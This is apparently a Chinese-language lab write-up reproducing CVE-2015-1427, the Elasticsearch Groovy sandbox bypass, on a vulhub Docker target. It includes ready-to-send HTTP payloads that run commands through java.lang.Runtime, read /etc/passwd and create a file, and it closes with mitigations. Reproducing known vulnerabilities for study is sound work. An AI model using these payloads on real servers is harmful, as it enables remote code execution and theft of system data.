漏洞复现-ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)
漏洞原理
和3210的漏洞很像,也是恶意代码执行漏洞,3210是执行任意MVEL表达式和java代码,3210之后MVEL表达式被弃用,ES的动态脚本语言换成了Groovy(而且增加了sandbox),然额换成Groovy之后仍然存在恶意代码执行漏洞(ES:我好难,2333...)
复现环境
在ubuntu 16.04虚拟机中用vulhub靶场提供的docker容器来复现
jdk版本1.7
ElasticSearch版本1.4.2
影响版本
Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2
复现过程
像3210那样先增加一条数据,再调用_search接口。
执行java代码(为啥可以直接执行java代码?因为ES是用java开发的!)
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
POST /_search?pretty HTTP/1.1 Host: 192.168.101.10:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/text Content-Length: 156 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}
网上找的读取文件的POC:
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
POST /_search?pretty HTTP/1.1 Host: 192.168.101.10:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/text Content-Length: 425 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang":"groovy"}}}
也可以直接执行Goovy代码(Goovy也是一门独立的语言):
参考:https://github.com/elastic/elasticsearch-lang-groovy
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
GET /_search?pretty HTTP/1.1 Host: 192.168.101.10:9200 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 124 {"script_fields": {"my_field": {"script": "def command=\"touch evil\";def res=command.execute().text;res","lang":"groovy"}}}
进入dokcer容器查看文件是否创建成功,使用之前进入docker容器的命令:
docker-compose exec 容器名 bash
结果报错:No such service(ES的这几个容器都会报这个错,我也不知道为啥。。。),好吧,换一个命令:
docker exec -it 容器id /bin/sh
成功进入容器:
防御方法
1.elasticsearch.yml配置script.groovy.sandbox.enabled: false
2.升级版本
本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。